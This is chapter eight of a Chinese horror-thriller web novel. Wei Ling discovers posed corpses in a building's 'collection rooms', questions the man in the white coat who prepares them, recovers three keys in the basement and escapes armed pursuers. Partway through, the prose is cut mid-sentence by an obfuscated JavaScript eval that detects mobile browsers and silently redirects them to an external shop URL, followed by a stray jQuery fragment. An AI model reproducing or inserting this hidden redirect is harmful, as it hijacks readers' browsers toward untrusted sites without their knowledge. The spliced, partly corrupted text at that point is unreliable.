第八章
魏凌在四楼楼顶的防水层上蹲了多久，他自己也说不清楚。
雨一直没停。雨水从头顶浇下来，顺着他的发际线淌进衣领，沿着脊椎沟一路往下流到腰际，整件外套从浅灰色变成深灰色，吸饱了水之后重了至少两斤。他的膝盖已经开始发酸，脚趾在湿透的运动鞋里冻得几乎失去知觉，但他的手心一直攥着那把银色钥匙，体温焐出来的那一点暖意是他全身上下唯一还能感觉到温度的地方。
手机被他扣在防水层上，屏幕朝下，从背面也能感觉到机身一阵一阵地震动——群里的消息还在刷，叮咚叮咚的提示音持续不断地传出来，像几千只蚊子围着一只玻璃瓶嗡嗡地撞。他没有拿起手机来看。他知道不用看也是那句话，翻来覆去就那几个字，"魏凌。开门。"所有人都发了，除了他自己。
头顶那扇被推开的窗户没有关，风声从那个窗口灌进来，裹着一股特别的气味——雨水冲不散的、带着一点点酸腐和甜腻的东西，像腐烂的水果混了铁锈。魏凌抬起头，在黑暗中辨认了一下那扇窗户的位置。是七楼。窗框是白色的，窗玻璃有一半是磨砂的，他看不清里面有没有人，但那个探头往下看的人影已经收回去了。窗户还开着，风把白色的纱帘从窗口吹出来，在夜色里像一面潮湿的旗子。
魏凌慢慢站了起来。他的腿几乎麻透了，站起来的时候膝盖打了个弯，他用手撑了一下防水层才稳住身体。他走到楼顶边缘，贴着外墙的排水管往上看。西天穹四楼到五楼之间的外墙面上有一条浅浅的水泥棱，大概三指宽，是建筑立面为了装饰预留的横线条。他伸手试了试那条棱的承重——能踩，但不稳。他又往上看了看，五楼的窗户是关着的，灯没有亮，窗台上放着一盆枯死的绿植，塑料花盆被雨打歪了一半。
他做了一个决定。他要从外墙爬回楼内。四楼到五楼只有一层楼的高度，他可以踩着排水管的卡扣和墙面的装饰棱爬上去，然后撬开五楼某扇没锁的窗户钻进去。这栋楼的窗户大部分是老式的推拉窗，锁扣多半已经锈了，他不确定自己能撬开几扇，但总比一直蹲在雨里等强。
他把手机塞进外套内袋，用身体挡住雨水，然后把银色钥匙也放进去。钥匙贴着胸口的位置，被他自己的体温捂着，总算不再冰凉。他抓住排水管，脚踩上第一道卡扣，身体紧贴着湿漉漉的墙面开始往上爬。雨水让管道表面滑得厉害，他的手指几次打滑，指甲在铸铁管表面刮出刺耳的吱嘎声。爬到三楼到四楼中间的时候，他左脚踩的那道卡扣松了一下，整个人往下坠了大概十公分，胳膊被猛地拽了一下，肩关节传来一阵尖锐的拉扯痛。他咬紧牙没有出声，双手死死攥着管道，用右脚在墙面上找到了一处凸起的砖缝，把自己重新稳住。
他停在那个位置喘了几口气。雨打进眼睛里，他眨了好几下才把视野弄清晰。五楼的窗户就在头顶大概一米五的地方，他能看见那扇窗的窗台边缘和那盆歪倒的绿植。他把左手从排水管上松开，够到窗台的边缘，手指扣进去，用力把自己往上拉。左臂的肌肉在湿透的袖子里绷成一条硬绳，他用尽力气把半个身体撑上了窗台，膝盖跪在窗沿的窄边上，整个人趴在了窗台面上。
窗是锁着的。推拉窗的锁扣在窗框中间，一个塑料的小扳手，他隔着玻璃看了一眼，扳手是向上锁死的状态。魏凌把右手从排水管上收回来，握成拳，用肘部的骨头顶住窗框和窗扇之间的缝隙，猛地用力往里压了两下。老旧的窗框发出一声闷响，锁扣的塑料扳手被震得松动了，他又连撞了两次，啪嗒一声，锁扣弹开了。他把窗扇推开，翻身钻了进去。
落地的瞬间他摔了一下，膝盖磕在房间的地板上，发出一声沉闷的撞击。他撑着地板站起来，房间里一片漆黑，窗帘半拉着，风从他打开的窗户灌进来把窗帘吹得扑扑作响。他站在原地适应了几秒黑暗，等瞳孔慢慢放大之后，勉强能辨认出这间屋子的轮廓——一张靠墙的单人床，一个简易的布衣柜，一张折叠桌，桌上放着一只搪瓷杯和一本翻开的杂志。是五楼的一间出租房，和西天穹所有的房间一样，窄小、潮湿、带着一股没人住的陈腐气味。
魏凌轻轻把窗户关上，拉好窗帘。他没有开灯，用手电筒照了一圈房间——床上没有人，被子掀开着，枕头上有轻微的凹陷，像是有人最近睡过。但床单上有一小片深褐色的污渍，边缘已经干了，颜色和他那天在楼梯间墙上看到的相似。他用手电照了一下污渍的位置，大约在枕头下方十公分处，像是睡着的时候颈部流出来的东西浸透了床单。
他没有在这间房里多待，关了手电，打开门走进走廊。五楼的走廊格局和楼上差不多，声控灯亮着昏黄色的光，地面干净但墙皮有几处起泡脱落。走廊两侧的门都关着，502门口放着一只空了的外卖盒子，盒子里的油渍已经□□涸的时间凝成了一层硬壳。魏凌经过503的时候停了一下，因为那扇门没有关严，门缝里透出一线极淡的绿光，像电脑待机时那种指示灯。
他轻轻推开门往里看了一眼。503的客厅里没有人，但沙发上坐着一个毛绒熊玩具，大号的，半人多高，两只黑色的塑料眼珠子在黑暗中泛着幽光。正对着沙发的电视开着，但屏幕是黑的，只有电视机下方的一颗绿色电源指示灯在亮着。整间屋子安静得像是被人搬空了之后又放了一样摆设在那里，那个毛绒熊突兀地坐在沙发上，两只胳膊伸开，像在迎接什么人。
魏凌把门重新带上，继续往楼梯间走。他要去十一楼。声音分配表上，十一楼没有被标记为任何红圈楼层，但他之前在B-07那幅平面图旁边看到过一行小字——"藏品室·十一楼"。当时他以为那是周伟随手写的一个备注，但现在他越来越确定十一楼藏着什么东西。孙仲斌，那个穿白大褂的人，他守着的地方应该就是"藏品室"。周伟在日记里提到过，尸体被摆成姿势、画上符号，而那些"藏品"就在十一楼。
他走进楼梯间，从五楼开始往上爬。楼梯间的灯有几盏是坏的，他经过六楼的时候忍不住停了一下，隔着门板听了一瞬。601里面很安静，没有任何声音，没有茶壶烧水的咕噜声，也没有人声。苏姨在不在里面？他想到这个问题的时候心脏跳快了半拍。苏姨说他不用管她，一个老太太不会有事。但那句话是苏姨自己说的，是在魏凌转身往窗户走的时候说的。她的语气太平静了，平静得像是早就知道他会走，而她不会走。
魏凌咬了一下后槽牙，继续往上走。七楼的楼梯间门口地上散落着几片碎玻璃，他踩过去的时候鞋底发出细碎的咔嚓声。八楼的门关着，门缝里透出光，但他没有推开看——他的802就在八楼走廊尽头，但他现在不能回去，他还没有拿到那三把钥匙。九楼楼梯间的墙上多了一行用黑色马克笔写的小字，字迹潦草："B1的声音在往上走。"魏凌站在那行字前看了两秒，然后继续爬。十楼到十一楼之间的转角处有一扇小窗，窗玻璃破了半边，雨水和风从那个破洞里灌进来，把墙角的一片墙面泡得发黑发霉。魏凌从这个窗口望出去，能看见对面楼的一片屋顶和远处模糊的城市天际线——灰黑色的高楼轮廓在雨幕中像一排沉默的墓碑。
十一楼到了。楼梯间的铁门推开的瞬间，一股气味涌进了他的鼻腔。那个味道和在四楼屋顶闻到的那股一模一样，但浓了十倍不止——甜腻、沉闷、带着酸腐和铁锈的混合气息，像是某种东西放久了之后发出的"熟透了"的味道。魏凌用袖口捂住口鼻，从门缝里探出头看了一眼走廊。
十一楼的走廊和楼下完全不同。灯是暗的，不是声控灯的那种昏黄，而是一种微弱的红色灯光，像是应急灯源，从走廊天花板每隔几米嵌着的一颗小红灯泡里透出来。整条走廊被泡在暗红色的光线里，墙面和地面都染上了一层不真实的暗红色调，像一条用血液泡过的隧道。走廊两侧的门都是关着的，但1101的门上贴着一张白色的标签纸，上面写着"藏品室·A"。1102贴的是"藏品室·B"。1103是"C"。1104是"D"。一直排到1105的"E"。
魏凌从楼梯间走出来，踩在十一楼走廊的地砖上。地砖是湿的，鞋底踩上去没有声音，地面上铺着一层薄薄的水膜，暗红色的光照在水膜上反射出一种湿漉漉的、黏腻的光泽。他走到1101门口，从门缝底下往里面看——没有光透出来。他又走到1102门口，门缝底下透出来一点微弱的白色光，很淡。他走到1103门口，门是虚掩着的，门缝大概有两指宽。他侧过身，把脸贴近那道缝隙往里看。
房间里面没有开主灯，只有墙角的一盏台灯亮着暖光，灯罩压得很低，光线只照亮了半径一米左右的范围。那束光正好落在一个人的脸上——不对。那不是一个活着的人。那是一张已经失去生命的脸，闭着眼，嘴角微微上扬，面部肌肉因为失去了张力而松弛地耷拉着，那个上扬的嘴角看起来像一个凝固的微笑。那个人躺在房间中央的一张不锈钢台面上，全身赤裸，皮肤是灰白色的，上面用深色的颜料画满了细密的符号——弯弯曲曲的线条和圆圈，像某种文字的变体。胸口正中央画着一颗拳头大的圆圈，圆圈里写着一个数字："3"。
魏凌的后退了一步。他的后背撞上了走廊对面的墙壁，发出一声轻响。他屏住呼吸站在原地等了几秒，确认房间里没有动静，才重新把脸凑到门缝上。那个躺在不锈钢台上的人是个男性，年纪大概四十岁上下，头发是灰色的，额头上有一道旧伤疤。他身上没有明显的暴力创伤，但腹部有一道垂直的切口，已经被缝合了，缝合线是黑色的粗线，针脚均匀得像一个熟练的外科医生处理的。
房间的角落里还放着一排玻璃罐，罐子里装着浅黄色的液体，液体里浮着一些他不想细看的深色物体。台面上那个人左手边的金属托盘里放着一把手术刀、一卷缝线、一副橡胶手套和一小瓶深红色的颜料。颜料瓶盖是开着的，瓶口边缘沾着干涸的暗色。
魏凌从1103门口退开了。他不敢再看。他继续往前走，经过1104的时候门是关着的，但门缝底下有暖黄色的光透出来，而且他听见里面有一个声音——很轻的、有节奏的滴答声，像水龙头没有关紧，隔一秒滴一滴。他站在门口听了十秒，那个滴答声一直没有停。他没有推开那扇门。他走到1105门口，这扇门是锁着的，门把手上挂着一把银色挂锁，挂锁上面贴着一张白色标签纸，用黑色马克笔写着："待定。"
魏凌站在1105门口，目光落在那张标签纸上。待定。说明这个房间里还没有"藏品"。它空着，等着被填满。
他身后的走廊传来一声轻响。铁门的门轴转动时发出的那种干涩的金属摩擦声。有人从楼梯间走进了十一楼走廊。魏凌猛地蹲下身，藏进了1105门侧面的阴影里。暗红色的光照不到墙角的那一小片地方，他的全身都缩进了黑暗里，只露出半只眼睛从墙角边缘往外看。
楼梯间的门被推开了大半，一个人影从门里走出来。是个男人，中等身材，穿着白大褂，白大褂的下摆沾着几片暗色的污渍。他走得很慢，低着头看手里的东西，像是在核对什么。他手里拿着一张夹在写字板上的表格，边走边用笔在上面画记号。经过1101的时候他停了一下，看了一眼门上的标签，在表格上画了一个勾。经过1102的时候又画了一个勾。然后他走到1103门口，推开门走了进去。
魏凌在阴影里不敢动。他听见1103里面传来那个白大褂男人的脚步声——皮鞋踩在不锈钢地面上的清脆声响，走了一会儿停住了，然后是金属托盘被移动的轻响，瓶盖拧开的声音，塑料手套被拉上手腕的啪嗒声。魏凌的胃猛地翻了一下。白大褂在给那具尸体"加工"，在它身上画更多的符号，或者做别的什么。他就是孙仲斌。周伟说的那个"穿白大褂的看守"。
魏凌从阴影里慢慢挪出来，压着脚步往楼梯间的方向走。他走到楼梯间门口的时候，1103里面传来一个声音："你进来吧。"
声音很平，不带任何感情，像在跟一个已经认识的人说一句例行公事的话。魏凌僵住了。他站在门口，手已经握住了铁门的把手，但那个声音清晰地穿过走廊和门板传过来，没有威胁，没有惊讶，只是平静地陈述："你不用躲。我在监控里看见你从五楼爬上来的。"
魏凌慢慢转过身。1103的门开着，孙仲斌站在门口，白大褂里面穿着一件浅灰色的polo衫和深色西裤，脚上是一双黑色皮鞋，鞋面擦得干干净净。他戴着白色的橡胶手套，右手还握着一支笔，手套的指尖沾着一点深红色的颜料。他的脸是普通中年男人的脸，圆脸，鼻梁上架着一副银框眼镜，头发剪得整齐，看起来像一个普通的中年医务工作者。
他隔着走廊和魏凌对视。暗红色的光照在他的白大褂上，让那身白色染上了一层浅浅的粉红。"你住在802，"孙仲斌说，语气像在陈述一个事实，"你叫魏凌。你昨晚进了601，今天上午去了地下二层，下午去了602，晚上又来了十一楼。你跑得挺勤快的。"
魏凌没有回答。他的右手已经慢慢伸向后腰，摸到了那把裹在毛巾里的菜刀的刀柄。孙仲斌的视线跟着他的动作移动了一下，但他的表情没有变化。
"你不用拿刀，"孙仲斌说，把笔夹到写字板上，把手套从手上摘下来叠好扔进门口的垃圾桶里，"我不是来抓你的。我只是来看一下3号。你刚才看到了3号，对吧？"
魏凌点了点头。他握着刀柄的手没有松开。
"觉得怎么样？"孙仲斌问，语气平淡得像在问一个参观者对展品的感受。
魏凌的喉咙紧了紧。"那是人。"
"当然是，"孙仲斌低头看了一眼自己白大褂上溅到的污渍，伸手轻轻擦了擦，没擦掉，"你以为是什么？我们在做人体标本。严格来说是在做情绪标本。你看到的那一个是'满足'。"
"什么？"
"情绪。"孙仲斌抬起眼睛看着他，"我们收集的是人在特定情绪瞬间的身体状态。比如笑、哭、恐惧、平静、愤怒、满足。每一种情绪对应一个数字编码。3号是满足。他是个退休老教师，最后那段日子过得挺好的，没什么遗憾，走的时候脸上带着笑。那个笑我们用特殊方法保留了下来，你看他嘴角的弧度，缝合的时候我们花了很多工夫才做到那个自然的角度。"
魏凌的后背贴着铁门，他的脑子像被一台搅拌机搅着。他在说什么？收集情绪？保留表情？孙仲斌不像是嗜血的疯子，他说话的态度比医生还克制，像在做一个科研项目。
"你们是谁？"魏凌的声音有点沙哑。
孙仲斌看了他一眼。"我们是'收藏家'。冯红霞是创始人。她十几年前开始做这个项目，后来做大了，从一栋楼扩展到现在的规模。"他朝走廊左右各看了一眼，像是在确认周围没人，然后声音压低了一些，"西天穹只是个'原料场'。我们物色合适的人，让他们住进特定的房间，观察他们的情绪变化，在情绪到达峰值的时候——采集。"
魏凌想起了声音分配表上那些播放内容。每一个声音都在模拟一种生活场景，让住在里面的人产生某种特定的情绪——安心、紧张、恐惧、期待、失望。那些"播放"出来的声音不是为了吓唬人，是为了控制人的情绪。他住进802的第一天就听见了601的"人声叹息"，第二天听见了雨声和脚步声，第三天听见了敲门声。那些声音被精心设计过，每一步都在引导他朝着恐惧的峰值走。
"你们把我当原料？"
孙仲斌轻轻地笑了一下。那种笑很淡，银框眼镜后面的眼睛里甚至有一丝同情。"本来是的。但你比较特殊。你接触了太多不该接触的东西——周伟的日记、地下二层的声音表、苏姨的信息、老钱的档案。你现在已经不是单纯的原料了，你已经把自己变成了一个'变量'。冯红霞很不喜欢变量。"
魏凌攥紧了刀柄。"周伟也是变量吗？"
孙仲斌的表情微微变了。他的目光垂下去一瞬，然后重新抬起来。"周伟，周伟是最成功的变量。他用了两个月时间发现了我们几乎所有的节点，然后他消失了——不是被我们处理的，是他自己走的。他走进了一面镜子，再也没有在物理世界里出现过。我们到现在也没找到他。"
"他在对面楼的七楼窗户里。"魏凌说。
孙仲斌的眼睛亮了一下。"七楼？对面楼？我的人找了他很久，都以为他彻底消失了。他原来在对面楼。"
魏凌从孙仲斌的语气里捕捉到了一个信息：孙仲斌不知道周伟在对面楼。他的"监控"覆盖了西天穹整栋楼，但没有覆盖对面楼。但周伟在信里说那把银色的钥匙可以开对面楼701的门——701正对着西天穹，正对着802。周伟坐在那扇窗户里，看着西天穹的所有动静。他是整件事里唯一站在外面的人，虽然他也被困着。
孙仲斌往魏凌的方向走了一步。魏凌立刻后退了半步，铁门的把手硌着他的后背。孙仲斌停住了，举起双手做了个"我没有恶意"的手势。"你不用紧张。我今天是来做例行检查的，没有收到抓你的指令。但你要知道，你的信息现在整栋楼都知道了。明天早上，冯红霞会派高豪带人再来一次，到时候不会再敲门。"
魏凌盯着孙仲斌的眼镜片，银色的金属框里反射出走廊暗红色的光。"那你为什么要告诉我这些？"
孙仲斌沉默了两秒。他把写字板夹在腋下，两手插进白大褂的口袋里，歪了一下头。"因为我也想看看，一个变量能做到什么程度。我在这里做了六年，看了一百多个'原料'被采集、处理、归档。你是第一个从601活着走出来的，也是第一个找到我舅的。我舅二十年前就从我生活里消失了，我花了六年时间才知道他在这栋楼里。"
魏凌的脑子像被一道闪电劈了一下。舅。孙仲斌叫老钱舅。老钱是周伟的舅舅，孙仲斌称老钱为舅——孙仲斌和周伟是表亲。他往后推了一步，看向孙仲斌的脸。银框眼镜后面，那双眼睛里有某种很深的东西，不像一个"收藏家"该有的神情。"老钱叔是你舅？"
孙仲斌没有点头也没有摇头，只是说："他是我唯一还活着的亲人。他坐轮椅，行动不便，住在这栋楼里的204。冯红霞不让我靠近他，因为'亲属关系会影响工作判断'。我已经两年没有跟他吃过一顿饭了。"
魏凌想起了老钱在204那间整洁的客厅里坐着的样子，档案袋里装满了西天穹的信息，茶几上放着对讲机，报纸摞得整整齐齐。老钱知道孙仲斌在这栋楼里吗？老钱提到"周伟是外甥"的时候语气太平淡了，他没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897750|212864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
提到孙仲斌。也许他提不了。
"我舅跟你说过什么？"孙仲斌问他，声音比刚才轻了一些。
"他说过这栋楼是有规则的。周伟发现了三个规则，第三个规则是镜子。"
孙仲斌点了点头。"第三个规则不完全是镜子。镜子只是一个介质。真正的第三个规则是：西天穹的声音系统和镜像系统是联通的。声音播出来的同时，对应的画面会出现在镜子里。你听见什么声音，看镜子就能看见那个声音的来源。比如你听见601有人声叹息，你站在镜子前就能看见601房间里是什么状况。"
魏凌的脊背一凉。"所以苏姨在我镜子里出现的时候，季红在镜子里的影像……"
"那是声音系统在播放季红这个身份的对应画面，"孙仲斌说，"季红不是一个真人。季红是声音分配表里S-00的编号。你没有听错，S-00。'房东'这个身份是一个声画联动的系统节点，它会随机出现在任何一间屋子的镜子里。"
魏凌想起来那张声音分配表上的十八个编号是从S-01到S-18，从来没有出现过S-00。那个"零号"是季红。
"钥匙呢？"魏凌问，"季红拿走了周伟留给我的三把钥匙。"
孙仲斌抬了抬眼镜。"钥匙不在季红手上。声音播放出来的影像不能拿实物，它只能播放画面。你看到季红举着钥匙，那是因为声音系统在播放一个'钥匙被季红拿到'的预设画面。但真正的实物钥匙还在她现实中的手上。她是一个'现实存在'，不只是声音系统的影像。"
"她是真人？"
孙仲斌没有回答。他侧过头看了一眼走廊尽头楼梯间的方向，像是听到了什么动静。然后他重新转向魏凌，语速快了一些："我给你一个建议。今晚不要再去601了。去B1。声音处理器室后面的柜子里有备用信标，你拿了信标就能在整栋楼里找到任何一个S节点的精确位置。找到S-00就能找到季红。找到季红就能拿回钥匙。我今晚会假装没看见你。明天天亮之后，一切都归零。"
他说完这句话就转身走进了1103，把门关上了。暗红色的走廊里只剩下魏凌一个人。他站在楼梯间门口，手心全是汗。孙仲斌的话在他脑子里快速盘桓——B1，声音处理器室，备用信标，找到S-00，找到季红。
他转身推开铁门走进了楼梯间。暗红色的光被关在门后，楼梯间里重新恢复了灰白色的灯光。他从十一楼往下走，脚步很快。十楼的转角处他停了一下，低头看了一眼手机——八点四十三分。距离他离开四楼楼顶已经过去了将近一个小时。群里安静了，那些反复刷屏的消息终于停了，最后一条消息是"601李萍"发的："你错过了茶。不过没关系，茶可以重新泡。我在B1等你。"
魏凌盯着那行字，手指握紧了手机壳的边缘。B1，又是B1。声音处理器室在B1，季红可能在B1，现在"601李萍"也叫他去B1。那个地下空间像一个被反复标记的坐标，所有线索最终都指向同一个方向。他关了手机，继续往下走。楼梯间的灯光在他头顶一盏一盏地亮起又熄灭，像一个无声的接力。
走到一楼的时候，他听见了大堂里的声音。电视的声音——晚间新闻的播音腔从一楼大厅的方向传过来，清晰、稳定、语调平和，像任何一栋正常居民楼的大堂里都会播放的那种毫无意义的背景音。他隔着楼梯间的门板听了几秒，播音员在说某地的降雨量创了历史同期新高。
他从楼梯间走出来，没有去大堂，而是绕到通往B1的入口。B1的楼梯在电梯井后面，一扇灰色的铁皮门，没有标识，门把手上一颗圆形的金属旋钮，转动的时候发出哒哒的齿轮咬合声。魏凌拧开那扇门，走进去，把门在身后关上。B1的走廊比B2亮一些，灯管是白色的，有几根在闪烁，发出轻微的电流声。走廊两侧是空房间，有的门开着，里面堆着旧家具和纸箱；有的门锁着，门缝底下漆黑一片。
他走到走廊尽头，那扇双开铁门就矗立在他面前。门上画着那个喇叭标志——一个简笔画的喇叭，侧面线条朝外辐射出三道弧线。门是关着的，门缝里没有光透出来。魏凌伸手推了一下，门没有锁，吱呀一声开了一条缝。里面的空气涌出来，暖的，带着一点点机油和塑料加热后的气味。他推开门走了进去。
房间比他想象的更小。大概十五平方米左右，正中央立着那个半人高的金属机柜，机柜上的指示灯像一片星空，红黄绿三色的灯光在黑暗中规律地跳动着。机柜侧面的标签纸上写着"S-01至S-18"，每一个编号旁边都有一根细线连接到机柜顶部的一个接口面板上。机柜后面是一排矮柜，抽屉上贴着标签——"备用线材"、"电源模块"、"信标"。
魏凌走过去拉开了那个贴着"信标"标签的抽屉。里面放着十几个火柴盒大小的金属方块，每一块上面有一颗微型指示灯，灯是灭的。他拿起一个放在手心里，金属表面冰凉光滑，重量很轻。他拿出手机给孙仲斌发了一条短信——红色感叹号，发不出去。他又试着在群里发了一条消息："信标怎么用？"发送出去了。他盯着那个蓝色气泡，过了大概十秒，群里的唯一一条回复来自一个他没见过的人——头像是一张纯黑色的图，昵称是单字"孙"。
"放在手心，往你需要定位的方向走。灯越亮越近，灭了就是目标在正下方或正上方。"
魏凌把信标攥在手心。那颗小灯在他掌心里亮了一下，浅绿色的，然后又灭了。他没有方向，只能凭直觉走。他走到机柜侧面的时候，信标上的灯又亮了一下，比刚才亮了一些。他偏转身体对准机柜后面的那面墙，灯的亮度增加了一档。他朝那个方向走了几步，墙就在面前了，信标亮到了最亮的程度——翠绿色的光透过他的指缝漏出来。目标在墙的后面。S-00在墙的背面。
魏凌用手指敲了敲那面墙。空心的。墙板是轻钢龙骨加石膏板做的，表面刷了一层白漆，看起来和普通的墙面没有任何区别。他用手掌沿着墙面推了推，有一块区域微微地有弹性，像是后面有一个没有被固定住的空间。他用手肘撞了两下那面墙，石膏板裂开了一个巴掌大的洞。他把手伸进洞里摸了一圈，摸到了一个金属的盒子——巴掌大小，四四方方，表面冰凉的。他把盒子从墙洞里掏了出来。
金属盒子上贴着一张标签纸，标签上用黑色马克笔写着："S-00·季红·身份信标。"他打开盒子，里面装着三把钥匙。周伟留给他的那三把——银色、黄铜、黑色，一把不少。盒底还压着一张字条，字迹是周伟的，和他的日记本上一模一样。上面只写了一句话：
"恭喜你找到了。现在拿着它们，从你来的地方走。银色钥匙开对面楼701的门。黄铜钥匙开B1尽头的门。黑色钥匙开——你猜。"
魏凌把三把钥匙攥在手里，银色的金属被他的体温焐热了一点点。他还没把钥匙放进口袋，身后那扇双开铁门被人砰地一声推开了，门板撞上墙壁发出一声巨响。他猛地转身。门口站着高豪，穿着一件深蓝色的短袖制服，袖口卷到手肘，露出一截结实的小臂。他右手握着一把手枪，枪口低垂着指着地面。他身后站着刘铁柱，脸上的刀疤在惨白的灯光下像一条趴着的暗红色蜈蚣。
高豪看着魏凌，嘴角扯了一下，不是笑，是一种介于不耐烦和满意之间的表情。"红霞姐说得对，你迟早会自己送上门来。拿好你的钥匙了？那就走吧。红霞姐在22楼等你。"
魏凌站在机柜旁边，右手握着那把裹在毛巾里的菜刀的刀柄，左手攥着三把钥匙和那个金属盒。信标还在他衣兜里亮着微弱的绿光。他看了一眼机柜上那些跳动的指示灯，S-01到S-18的灯光在他的视网膜上留下一串明亮的残影。高豪没有动，他只是站在门口，枪口依然低垂着，但他的手已经握紧了枪柄。
走廊里的灯突然全灭了。B1陷入了彻底的黑暗。魏凌听见一声闷响——枪托砸在什么柔软的东西上的声音，然后高豪骂了一句："操。谁他妈关的灯？"黑暗中刘铁柱的声音响起来："不是我。电闸在楼上。"然后第三个声音响起来了，从走廊的那一头传过来，隔着一整条黑暗的走廊，清晰得像贴着他的耳朵说的："魏凌。往左跑。"
是苏姨的声音。
魏凌没有犹豫。他弯下腰在黑暗中向左冲出去，肩膀撞上了一扇侧门——他之前没有注意到那扇门，它在机柜旁边的墙体上，和墙壁的颜色融为一体。门被他撞开了，他跌进了一条极窄的通道，通道尽头有一线微弱的天光。他爬起来沿着通道往前跑。身后传来高豪的吼声和刘铁柱追出来的脚步声，但那个通道太窄了，刘铁柱的肩膀卡在门口骂了一句粗话。魏凌跑到了通道尽头。一扇窗户，半开的，外面是西天穹楼后的那条窄巷。他从窗户翻出去，落在巷子的水泥地上，膝盖又被震了一下。他爬起来，沿着窄巷往前跑，雨还在下，冷风灌进他的喉咙，肺里又辣又痛。他跑到了巷口，回头看了一眼西天穹。那栋二十二层高的老楼在雨夜里亮着零零星星的窗户，像一只被打碎的蜂巢。
他低头看了一眼手里的钥匙。三把都在。银色的钥匙在路灯下面反射着冷光，金属表面的刻痕清晰可见——"对面·701"。他攥紧了那把钥匙，朝对面楼走去。